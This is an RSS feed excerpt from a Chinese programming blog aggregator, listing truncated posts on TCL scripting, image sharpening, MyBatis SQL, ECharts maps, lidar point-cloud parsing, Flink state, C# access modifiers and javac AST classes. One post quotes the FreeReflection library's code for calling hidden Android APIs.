    <item>
      <title>数字IC设计随笔之七（TCL脚本编程入门）</title>
      <link>https://bchobby.github.io/posts/286e2f936c57168998cc1da5a63d2495/</link>
      <pubDate>Mon, 20 Feb 2023 13:42:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/286e2f936c57168998cc1da5a63d2495/</guid>
      <description>TCL简介 TCL是Tool Command Language的缩写，主要应用在芯片设计领域中。TCL脚本程序是一系列命令构成的集合，在芯片设计工具中，便于流程化执行，提高效率。&#xA;TCL语言与其它脚本语言perl、python类似，作为一种解释型语言，逐行解释执行，出错时将停止运行。TCL语言处理的最基本的对象是字符串，因此，不可以直接进行数学表达式的计算，但可以通过命令进行数学计算，同时可以通过命令创建特殊的数据类型，例如列表（List），数组（Array）等。&#xA;TCL语言语法结构为：Command Arg1 Arg2，Command为待执行的命令，Arg1和Arg2为后面跟随的参数，参数的个数根据命令不同而定，对于set命令而言，定义一个变量，其后跟随的第一个参数为变量名，第二个参数为变量的值。在TCL中，命令后跟随的参数可以是其它命令执行的结果，比如Command1 [Command2 Arg1 Arg2]，简化编程操作。&#xA;特殊符号&#xA;特殊符号使用含义$变量引用[ ]嵌套命令“ ”变量引用替换，字符串中的变量引用将会替换为变量值{ }字符串中变量引用不做值替换\续行符或转义符 脚本示例&#xA;puts &#34;hello xiongdei&#34; #Variable,Mathematical Expressions set var1 10 set var2 20 puts [expr $var1+$var2] #string set x 100 set str1 &#34;print special char : $x&#34; set str2 {print special char : $x} puts $str1 puts $str2 set num [llength $str1] puts [format &#34;%s has %d elements&#34; $str1 $num] scan $str1 &#34;print special %s : %d&#34;</description>
    </item>
    <item>
      <title>怎么让图片变清晰?分享3个能把图片变清晰的方法</title>
      <link>https://bchobby.github.io/posts/9d00a55b13f3c314a6b924c1de464bf5/</link>
      <pubDate>Mon, 20 Feb 2023 12:37:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9d00a55b13f3c314a6b924c1de464bf5/</guid>
      <description>Photoshop 操作步骤：&#xA;①打开Adobe Photoshop，把图片拖进来直接打开，再按“Ctrl+J”复制图层；&#xA;②在上方菜单栏找到并点击“滤镜—其它—高反差保留”，按照图片实际情况设置1~2个像素；&#xA;③保存设置后，在左方图层面板里将该图层模式改为“叠加”模式，这时能看到图片有清晰些的变化；&#xA;④视图片清晰程度而定，可以再重复以上步骤，多覆盖几个图层；或是点击“滤镜—锐化—智能锐化”，按需调整各个参数；&#xA;⑤调整好后在上方菜单栏点击“文件—存储为”，在“文件类型”一栏中选择“TIFF”格式，在弹出的窗口中勾选“LZW”的图像压缩模式，在勾选窗口右下方“扔掉图层并储存拷贝”的图层压缩模式，再点击“确定”完成整个操作步骤。&#xA;2.专业工具：迅捷图片转换器&#xA;操作十分简便，仅需打开软件，在左侧菜单栏中找到【照片修复】，在【模糊人脸修复】一栏中点击【添加图片】，将需修复的图片上传后等待个几秒，就能收获一张修复好的清晰图片啦。&#xA;给大家看看这修复前后对比图&#xA;3.使用记灵工具&#xA;我们搜索：记灵在线工具&#xA;记灵在线工具是一款强大的图片处理工具，可用于将模糊或低分辨率的图片转换为更清晰的图像。可以使用它来处理各种图片格式，如JPEG、PNG、BMP等。使用该工具，您无需安装任何软件或应用程序，只需访问官方网站，即可开始使用。&#xA;步骤1：搜索记灵在线工具&#xA;步骤2：在我的工具里面点击图片变清晰&#xA;步骤3：上传图片，等待完成即可&#xA;总之，记灵在线工具是一个功能强大、易于使用的在线图片处理工具，可帮助您将模糊或低分辨率的图像转换为高质量的图像。使用该工具，您可以轻松地对图片进行各种调整和修改，以满足您的需求。</description>
    </item>
    <item>
      <title>java中xml文件中的foreach循环sql语句</title>
      <link>https://bchobby.github.io/posts/2e7c49231807f5600573f5d47a281891/</link>
      <pubDate>Mon, 20 Feb 2023 11:19:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2e7c49231807f5600573f5d47a281891/</guid>
      <description>实体类&#xA;@Data public class BatChSysUserDTO { private List&amp;lt;Long&amp;gt; id; private List&amp;lt;String&amp;gt; name; private List&amp;lt;String&amp;gt; sex; private List&amp;lt;String&amp;gt; remark; } 查询&#xA;mapper层&#xA;List&amp;lt;SysUser&amp;gt; selectbatch (@Param(&#34;list&#34;) BatChSysUserDTO batChSysUserDTO); xml层&#xA;&amp;lt;select id=&#34;selectbatch&#34; resultType=&#34;com.example.demo.entity.SysUser&#34;&amp;gt; SELECT * FROM sys_user where name in &amp;lt;foreach item=&#34;item&#34; collection=&#34;list.name&#34; open=&#34;(&#34; separator=&#34;,&#34; close=&#34;)&#34;&amp;gt; #{item} &amp;lt;/foreach&amp;gt; &amp;lt;/select&amp;gt; 新增&#xA;实体类为&#xA;public class CheckComentEntity { /*t_check_coment*/ private Long id; @JsonSerialize(using = ToStringSerializer.class) private Long checkId; private String checkCategory; private String checkType; private String checkConment; private String riskLevel; private String description; private String remark; private String isInput; private String business; private String itemName; private Date createTime; private Date updateTime; private Integer checkResult; private String questionDescription; } mapper 层</description>
    </item>
    <item>
      <title>Vue3使用Echarts实现自定义地图（使用阿里云数据可视化平台）</title>
      <link>https://bchobby.github.io/posts/533fdc7a8c36d9f3005e857aab7f8422/</link>
      <pubDate>Mon, 20 Feb 2023 09:29:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/533fdc7a8c36d9f3005e857aab7f8422/</guid>
      <description>Vue3使用Echarts实现自定义地图 1.获取地图JSON文件 推荐使用 阿里云数据可视化平台&#xA;选择你想要使用地图区域并下载JSON文件&#xA;2.把地图JSON文件引入Vue3项目中 放在src/assets中&#xA;引入你想要使用地图的组件中&#xA;3.使用Echarts创建地图 准备地图容器&#xA;&amp;lt;template&amp;gt; &amp;lt;div id=&#34;user_region&#34;&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; Echarts代码如下&#xA;//创建用户地域分布 const createRegion = () =&amp;gt; { let mapChartInstance = null; // 获取地图容器 let mapChart = document.getElementById(&#34;user_region&#34;); mapChartInstance = markRaw( echarts.init(mapChart, undefined, { devicePixelRatio: 2, renderer: &#34;svg&#34; }) ); // 注册地图 echarts.registerMap(&#34;China&#34;, China); mapChartInstance.setOption({ title: { text: &#34;用户地域分布&#34;, left: 10, top: 10, textStyle: { color: &#34;#000&#34;, fontSize: 16, }, }, visualMap: { show: true, min: 0, max: 10000, type: &#34;</description>
    </item>
    <item>
      <title>激光点云系列之一：详解激光雷达点云数据的处理过程</title>
      <link>https://bchobby.github.io/posts/d4bf9328859b3de67b1a8fd6f61523f7/</link>
      <pubDate>Mon, 20 Feb 2023 09:28:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d4bf9328859b3de67b1a8fd6f61523f7/</guid>
      <description>交流群 | 进“传感器群/滑板底盘群”请加微信号：xsh041388&#xA;交流群 | 进“汽车基础软件群”请加微信号：Faye_chloe&#xA;备注信息：群名称 + 真实姓名、公司、岗位&#xA;作者 | 奚少华&#xA;随着激光雷达的上车数量的不断攀升，如何用好激光雷达成为了重中之重，而用好激光雷达的关键点之一就在于处理好点云数据。&#xA;激光点云指的是由三维激光雷达设备扫描得到的空间点的数据集，每一个点云都包含了三维坐标（XYZ）和激光反射强度（Intensity），其中强度信息会与目标物表面材质与粗糙度、激光入射角度、激光波长以及激光雷达的能量密度有关。&#xA;为了更进一步解释清楚点云，笔者梳理了点云的相关参数和特点。&#xA;表：激光雷达点云的相关参数&#xA;表：点云的特点&#xA;从点云的采集原理来看，以ToF路线的激光雷达为例，激光点云是由车载激光扫描系统向周围发射激光信号，然后收集反射回来的激光信号得来的，并通过光速、激光从发射到返回的时间等信息来测得目标物的距离信息，再结合IMU、里程计、GNSS等信息计算出前方目标物的三维坐标信息和距离信息。&#xA;此外，在点云的采集和分析过程中，感知算法人员需要根据车载激光雷达的特点与工作原理，并结合激光雷达的角分辨率、视场角等相关参数，才能更好地利用点云。&#xA;那么，激光雷达点云在车端的处理环节中，具体有哪些处理过程和方法？又如何优化？&#xA;此后，为了验证这些问题，笔者先后访谈了图达通算法负责人许建博士和系统及应用负责人Leon、上汽高级经理殷玮、纵目科技感知算法工程师汤强、禾赛科技的专家等。在此，笔者感谢各路专家给予的支持，并整理出如下系列的文章，以供读者参阅。&#xA;以下为激光点云处理系列文章的第一篇内容。&#xA;激光雷达点云处理的具体流程 聊完何谓点云及其特征后，下文将继续分析激光雷达点云在自动驾驶中的处理流程。在此之前，有两点需要说明。&#xA;其一，激光雷达点云被用于感知和定位时，点云会先完成预处理，然后按照不同用途进行不同的处理，并在点云的应用细节上也会不同。&#xA;汤强说：“激光雷达用于定位的话，算法模型会要求点云的数据量尽可能多，并且区别于感知，定位还需要道路数据。如车道线或地标，它们对于激光的反射率和普通路面的反射率是不同的，激光雷达通过这种方式来获取路面信息的数据。激光雷达用于感知的话，它会有一个预处理的过程，会确定一个ROI范围，随后用这一区域的点云数据来完成后续的检测。”&#xA;其二，每家企业在点云的具体应用过程中，还会根据各自技术方案与应用场景不同，会存在些许处理流程上的差异，但大部分处理流程皆相同。&#xA;为了更详细地阐述点云的处理流程，笔者结合专家访谈的内容与公开信息，梳理出激光雷达点云在自动驾驶应用中的普遍流程。&#xA;图：激光点云的处理流程&#xA;01&#xA;点云预处理层面&#xA;1.1 原始点云数据的接收与解析 （1）点云数据的接收&#xA;激光雷达的原始点云数据都会被存放在一个数据包里（pcap），此时数据包里面的数据都是一连串的字节符号，无法直接使用。&#xA;以Velodyne的16线激光雷达为例，原始点云数据的接收主要是通过UDP（用户数据报协议）的形式向网络发送数据。具体来说，在激光雷达的web端进行设置或通过命令行进行设置后，技术人员会在接收端匹配激光雷达的IP地址与自身的UDP端口号，从而即可接收原始点云数据。&#xA;从数据的内容来看，该型号的激光雷达在垂直方向上（-15°到+15°）有16线的激光束，其每帧的数据长度固定为1248字节，这些字节包括前42字节的前数据包标识、12组数据包、4字节时间戳和最后两字节雷达型号参数。&#xA;图：Velodyne-16激光雷达每一帧的点云数据情况&#xA;（数据来源：《Velodyne VLP-16激光雷达数据格式解析》）&#xA;每个数据包中的数据都包含了激光光束的旋转角度、距离值、反射强度的信息。例如，“B6 07”代表了激光雷达的探测距离，“2A”代表了激光的反射强度，但这些信息都是以两字节表示，需要进一步解析这些数据。&#xA;图：Velodyne-16激光雷达数据包的一部分数据&#xA;（数据来源：《Velodyne VLP-16激光雷达数据格式解析》）&#xA;（2）点云数据(pcd)的解析&#xA;数据包（pcap）中的原始数据需要进一步转换为可被感知技术人员使用的pcd格式的数据集。&#xA;点云数据的pcd格式文件是激光点云的一种存储格式，pcd文件主要是由笛卡尔坐标(x,y,z)和强度值i组成的列表，即每个点云都会附带独有的三维坐标系和能量反射强度。&#xA;在这个坐标系中，x轴指向汽车的前部，y轴指向汽车的左侧。由于这个坐标系采用右手定则，坐标系z轴指向汽车上方。&#xA;图：点云pcd坐标&#xA;（数据来源：《学习笔记：点云库PCL介绍》）&#xA;为了阐述点云数据的解析过程，笔者还是以上文Velodyne-16激光雷达的某帧点云数据包为例，并根据公开信息梳理如下。&#xA;第一步，计算激光线的旋转角度值。&#xA;例如，上图数据包前一部分的第一行的旋转角度为0xE0、0x63。&#xA;a) 反转两个字节变成十六进制63 E0&#xA;b) 把63 E0变成无符号的十进制为25568&#xA;c) 再把25568除以100得到255.68，那么得到的值255.68就是当前的旋转角度值&#xA;第二步，计算16线激光分别测得的距离。&#xA;例如，上图数据包前一部分的第一个激光线的距离，其值为“B6 07 2A”，其中“ B6 07”为距离“2A”为反射强度。&#xA;a) 反转两个距离字节“ B6 07”，将其变成“07 B6”</description>
    </item>
    <item>
      <title>（附源码）基于PHP下的大学生校园交流论坛的设计与实现 毕业设计101634</title>
      <link>https://bchobby.github.io/posts/76b31f1466d8ef3105f2d650b09a5124/</link>
      <pubDate>Mon, 20 Feb 2023 09:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/76b31f1466d8ef3105f2d650b09a5124/</guid>
      <description>大学生校园交流论坛&#xA;摘 要&#xA;随着计算机科学技术的高速发展,计算机成了人们日常生活的必需品，从而也带动了一系列与此相关产业，是人们的生活发生了翻天覆地的变化，而网络化的出现也在改变着人们传统的生活方式，包括工作，学习，社交等，网络的出现使地球上居住的陌生人不再像以前一样遥不可及，它拉近了人与人之间的距离，使我们的地球变成了一个村。随着我国的高等教育的普及，大学生的队伍也正在不断壮大，为了方便大学生对学校、老师以及同学之间相互了解相互交流，建设一个互动的校园交流论坛成为了首当其冲的重要任务。与此同时，这将给学校以及在校生的工作和学习生活带来了极大的便利。&#xA;众所周知，我们所见的大多数的校园交流论坛都是用PHP 技术实现的，而基于Thinkphp的论坛较少。Redis所开发的PHP为平台，利用PHP跨平台型一次编译处处运行的巨大优势，给我们的动态网页设计提供了的更为快捷的设计理念。&#xA;本系统利用Thinkphp + mysq1 实现了“大学生校园交流论坛建设:本文对系统的需求分析、总体设计及详细设计进行了详细地阐述，主要实现了以下功能:.首页、用户注册、用户登录、校园论坛、论坛板块管理、校园动态、动态分类列表。最终实现完成了该论坛的设计。&#xA;关键词：大学生校园交流论坛；PHP语言；&#xA;College students campus exchange forum&#xA;Abstract&#xA;With the rapid development of computer science and technology, computer has become a necessity of people&#39;s daily life, which has also driven a series of related industries. People&#39;s life has undergone earth shaking changes, and the emergence of networking is also changing people&#39;s traditional way of life, including work, study, social networking, etc, The emergence of the Internet makes the strangers living on the earth no longer as far away as before.</description>
    </item>
    <item>
      <title>数据管道&amp;ETL</title>
      <link>https://bchobby.github.io/posts/e75b31fd714f0323eb6c655a5d75f944/</link>
      <pubDate>Mon, 20 Feb 2023 08:32:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e75b31fd714f0323eb6c655a5d75f944/</guid>
      <description>无状态的转换 map() 一对一转换flatmap()可以输出任意数量的元素，也可以一个都不发 Keyed Streams keyBy()根据特定的键分区，会有shuffle，设计网络通信、序列化和反序列化maxBy涉及到聚合，就要考虑状态 有状态的转换 flink状态的特性&#xA;本地性: Flink 状态是存储在使用它的机器本地的，并且可以以内存访问速度来获取持久性: Flink 状态是容错的，例如，它可以自动按一定的时间间隔产生 checkpoint，并且在任务失败后进行恢复纵向可扩展性: Flink 状态可以存储在集成的 RocksDB 实例中，这种方式下可以通过增加本地磁盘来扩展空间横向可扩展性: Flink 状态可以随着集群的扩缩容重新分布可查询性: Flink 状态可以通过使用 状态查询 API 从外部进行查询。 Rich Functions 对于flink的几种函数接口，例如FilterFunction， MapFunction，和 FlatMapFunction。flink为每个接口提供了一个&#39;rich&#39;变体，其中增加了以下三个方法 open(Configuration c) 仅在算子初始化的时候调用一次，用来加载一些静态数据，建立外部服务的链接等 close() getRuntimeContext() 我的理解就是通过新增加的方法来丰富对于算子的功能，做一些定制化扩充 使用状态和清理状态 使用状态：状态写入-&amp;gt;状态读取，要理解这个代表的不仅仅是一个单独的布尔类型变量，而是一个分布式的共享键值存储&#xA;/*状态写入*/ public static class Deduplicator extends RichFlatMapFunction&amp;lt;Event, Event&amp;gt; { ValueState&amp;lt;Boolean&amp;gt; keyHasBeenSeen; @Override public void open(Configuration conf) { ValueStateDescriptor&amp;lt;Boolean&amp;gt; desc = new ValueStateDescriptor&amp;lt;&amp;gt;(&#34;keyHasBeenSeen&#34;, Types.BOOLEAN); keyHasBeenSeen = getRuntimeContext().getState(desc); } @Override public void flatMap(Event event, Collector&amp;lt;Event&amp;gt; out) throws Exception { if (keyHasBeenSeen.</description>
    </item>
    <item>
      <title>Android P的限制的原理和解决方案</title>
      <link>https://bchobby.github.io/posts/d9a46937f8310148806c4f784c785456/</link>
      <pubDate>Sun, 19 Feb 2023 23:38:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d9a46937f8310148806c4f784c785456/</guid>
      <description>Android P的限制的原理和解决方案 背景解决方案引用 背景 Google官方在Android P（Android9.0版本）开始针对非 SDK 接口的限制。也就是说，以前你系统的接口通过反射就能调用，现在都不能通过反射获取。&#xA;解决方案 https://github.com/tiann/FreeReflection/blob/master/library/src/main/java/me/weishu/reflection/Reflection.java&#xA;package me.weishu.reflection; import android.content.Context; import android.text.TextUtils; import android.util.Base64; import java.io.File; import java.io.FileOutputStream; import java.lang.reflect.Method; import dalvik.system.DexFile; import static android.os.Build.VERSION.SDK_INT; import static me.weishu.reflection.BootstrapClass.exemptAll; /** * @author weishu * @date 2018/6/7. */ public class Reflection { private static final String TAG = &#34;Reflection&#34;; private static final String DEX = &#34;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TGFuZHJvaWQvdXRpbC9Mb2c7ABFMamF2YS9sYW5nL0NsYXNzOwAUTGphdmEvbGFuZy9DbGFzczwqPjsAEkxqYXZhL2xhbmcvT2JqZWN0OwASTGphdmEvbGFuZy9TdHJpbmc7ABJMamF2YS9sYW5nL1N5c3RlbTsAFUxqYXZhL2xhbmcvVGhyb3dhYmxlOwAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsAJkxtZS93ZWlzaHUvZnJlZXJlZmxlY3Rpb24vQnVpbGRDb25maWc7ACVMbWUvd2Vpc2h1L3JlZmxlY3Rpb24vQm9vdHN0cmFwQ2xhc3M7ACFMbWUvd2Vpc2h1L3JlZmxlY3Rpb24vUmVmbGVjdGlvbjsAClJlZmxlY3Rpb24AD1JlZmxlY3Rpb24uamF2YQAHU0RLX0lOVAADVEFHAAFWAAxWRVJTSU9OX0NPREUADFZFUlNJT05fTkFNRQACVkwAAVoAAlpMABJbTGphdmEvbGFuZy9DbGFzczsAE1tMamF2YS9sYW5nL09iamVjdDsAE1tMamF2YS9sYW5nL1N0cmluZzsAB2NvbnRleHQAF2RhbHZpay5zeXN0ZW0uVk1SdW50aW1lAAFlAAZleGVtcHQACWV4ZW1wdEFsbAAHZm9yTmFtZQAPZnJlZS1yZWZsZWN0aW9uABJnZXRBcHBsaWNhdGlvbkluZm8AEWdldERlY2xhcmVkTWV0aG9kAApnZXRSdW50aW1lAAZpbnZva2UAC2xvYWRMaWJyYXJ5ABhtZS53ZWlzaHUuZnJlZXJlZmxlY3Rpb24ABm1ldGhvZAAHbWV0aG9kcwAZcmVmbGVjdCBib290c3RyYXAgZmFpbGVkOgAHcmVsZWFzZQAKc1ZtUnVudGltZQAWc2V0SGlkZGVuQXBpRXhlbXB0aW9ucwAQdGFyZ2V0U2RrVmVyc2lvbgAEdGhpcwAGdW5zZWFsAAx1bnNlYWxOYXRpdmUADnZtUnVudGltZUNsYXNzAAYABw4AFgAHDmr/AwEyCwEVEAMCNQvwBAREBhcBEg8DAzYLARsPqQUCBQMFBBkeAwAvCgAOAAcOACwBOgcOADYBOwcsnRriAQEDAC8KHgBIAAcOAA0ABw4AEwEtBx1yGWtaAAYXOBc8HxcABAEXAQEXBgEXHwYAAQACGQEZARkBGQEZARkGgYAEiAcDAAUACBoBCgEKB4iABKAHAYGABLQJAQnMCQGJAfQJAQnMCgEAAwALGgyBgAT4CgEJkAsBigIAAAAADgAAAAAAAAABAAAAAAAAAAEAAABEAAAAcAAAAAIAAAATAAAAgAEAAAMAAAALAAAAzAEAAAQAAAAMAAAAUAIAAAUAAAAPAAAAsAIAAAYAAAADAAAAKAMAAAEgAAAIAAAAiAMAAAEQAAAHAAAA3AUAAAIgAABEAAAAFgYAAAMgAAAIAAAAAwoAAAUgAAADAAAAZgoAAAAgAAADAAAAeAoAAAAQAAABAAAAyAoAAA==&#34;; private static native int unsealNative(int targetSdkVersion); public static int unseal(Context context) { if (SDK_INT &amp;lt; 28) { // Below Android P, ignore return 0; } // try exempt API first.</description>
    </item>
    <item>
      <title>5. JCTree相关知识学习</title>
      <link>https://bchobby.github.io/posts/546817fbade2cebbe1d1fd58361d7073/</link>
      <pubDate>Sun, 19 Feb 2023 22:42:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/546817fbade2cebbe1d1fd58361d7073/</guid>
      <description>1. 絮絮叨叨 1.1. AST 1.1.1 Java编译的三个阶段 之前的博客（3. 自定义Java编译时注解处理器），在讲解编译时注解处理器的process()方法时，给过这样一张图以说明注解的处理是多轮的&#xA;这张图清晰地展示了Java源码编译的三个阶段 Parse and Enter： Java源文件被解析成抽象语法树（Abstract syntax tree，AST）Annotation Processing： 扫描注解，调用对应的编译时注解处理器处理注解。这个过程可能会修改已有的源文件或者产生新的源文件，这些源文件将再次进入Parse and Enter阶段进行处理Analyse and Generate： 分析AST并转化为class文件 上述描述可能不是很准确，能确定地是：（1）Parse阶段会将源代码解析成AST，（2）注解处理阶段可能会产生新的源代码，注解处理是多轮的 1.1.2 AST AST这个术语，对很多IT领域的小伙伴来说并不陌生比如，从事分布式SQL开发工作的同事（接近组件底层的开发人员），经常会说SQL的执行过程： SQL语句通过词法分析、语法分析后，被解析成ASTAST转化成逻辑查询计划，逻辑查询计划转化成分布式查询计划分布式查询计划转化成物理查询计划，这些查询计划将被下发到执行节点（worker）进行执行worker上的执行结果经过汇总后，被返回给client 编译原理是本科时学习的，对于词法分析、语法分析之类的细节都不知道了最深的印象是：以树形结构表示源代码，源代码中的元素将被映射到AST中的一个节点或一棵子树例如，5 + (12 * 1)最终对应的AST如下。感兴趣的，可以继续深入阅读：AST系列(一): 抽象语法树为什么抽象&#xA;博客安卓AOP之AST: 抽象语法树，给出了一段代码的AST示例。&#xA;上面的很多节点，在JDK中都有对应的类：例如，ClassDecl对应JCTree.JCClassDecl，Literal对应JCTree.JCLiteral 1.2 JSR 269 JSR 269是JDK 6中对注解增强的一套规范，全称为Pluggable Annotation Processing API，插件化注解处理器接口JSR 269有两组基本API，一组用于编写注解处理器，一组用于对java语言的建模 javax.annotation.processing.*：自定义编译时注解处理器的APIjavax.lang.model.*：将成员方法、变量、构造函数、接口等Java元素映射为Element和Type（TypeMirror） JSR 269规范实现的注解处理器，可以在编译期间处理注解此时，注解处理器相当于编译器的一个插件，所以称为插件化注解处理器。参考链接： 自动化编程技术------JSR269相关概念及实战Javac黑客指南 2. JCTree JDK的tools.jar中，有一个com.sun.tools.javac.tree包，里面有很多跟Java编译时AST有关的类，如JCTree、TreeMaker、TreeTranslator等如果你也使用Intellij IDEA，但是发现JCTree无法查看源码，请参考本人之前的博客：配置Intellij IDEA以查看tools.jar源码如果使用Intellij IDEA，可以通过顶部菜单的Navigate → \rightarrow →Type Hierarchy查看的子类或接口的子接口 具体参考文档：idea 查看一个类的所有子类以及子类的子类并以层级关系显示本人使用的是有账号的旗舰版IDEA，社区版IDEA是否能展示，尚待验证 2.1 Tree 在介绍JCTree之前，应该先介绍下com.sun.source.tree包中的各种Tree接口 Tree与JCTree之间的关系&#xA;Tree接口是AST中所有节点的公共接口，Tree及其子接口对应了AST中的具体节点Tree接口及其子接口由JDK编译器（javac）实现，不应该被其他应用程序直接或间接实现所谓的javac实现，就是本文介绍的重点com.sun.tools.javac.tree包中的JCTree及其子类 Tree接口&#xA;Tree接口非常简单</description>
    </item>
    <item>
      <title>C# 初级教程(三) 封装与访问修饰符</title>
      <link>https://bchobby.github.io/posts/2c703c52bbcc767cc89e05d3b5017766/</link>
      <pubDate>Sun, 19 Feb 2023 20:52:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2c703c52bbcc767cc89e05d3b5017766/</guid>
      <description>参考文章 C# 中的类、结构和记录 | Microsoft Learn&#xA;C# 封装 | 菜鸟教程 (runoob.com)&#xA;访问修饰符 - C# 参考 | Microsoft Learn&#xA;1 前提回顾-抽象 C# 初级教程(二) 面向对象的编程1_theifWhoStealsMoon的博客-CSDN博客&#xA;上一节讲到了面向对象的四个原则（微软官方认为是三个原则），其中的第一个原则 抽象，描绘的是如何将现实中的问题和事物转化为面向对象程序中的 类Class，通过一定的方法，我们将Dog 做成了一个模板，成功的描绘了现实世界中一类狗狗的特征属性。&#xA;而这里提到的 将Dog 做成模板的一定的方法就是今天要讲的内容 封装。&#xA;2 面向对象-封装 在微软官方文档中，封装被称为面向对象的i第一支柱或者原则。可见封装这个概念在面向对象编程中多么重要。&#xA;封装非常好理解，我们将某些东西做成了一个数据+方法的集合，这个过程可以叫做分类，类似于在整理文件时，将不同类型的文件放在同一个文件夹内。封装在分类的基础上，又增加了一项功能，就是访问权限的设置。&#xA;看以下示例：&#xA;public class Phones { public double screenSize;//屏幕尺寸 public double Weight;//重量 public Colors color;//颜色 private string data;//手机的内部资料 private string passWord;//手机的密码 protected double costPrice = &#34;2000&#34;;//手机的成本价格 protected string keyTechnology;//手机的核心技术 } 这个例子给出的是一个phone的抽象模板，包含6个字段/属性。这7个字段属性是所有手机都共有的，是一个合格的模板。&#xA;但是我们注意到这7个字段/属性最前的修饰符却不相同，有3种修饰符，分别是 public、private、protected，这3种修饰符就代表了所分类出的集合中的元素的访问权限，同时体现了封装的思想。&#xA;对于某一个特定的phone 对象来说，作为顾客，我们希望能够知道手机的屏幕尺寸、重量、颜色等在内的一些参数；作为手机的使用者，我们希望访问手机的内部资料和密码；作为手机的开发者，我们希望知道手机的成本以及核心技术。很明显这三种类中的字段具有不同的 访问权限 。因此就引出 访问修饰符 。</description>
    </item>
    <item>
      <title>Java控制台模拟抢红包</title>
      <link>https://bchobby.github.io/posts/18c4e5f22fd7af4e04e546587c4f578f/</link>
      <pubDate>Sun, 19 Feb 2023 19:43:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/18c4e5f22fd7af4e04e546587c4f578f/</guid>
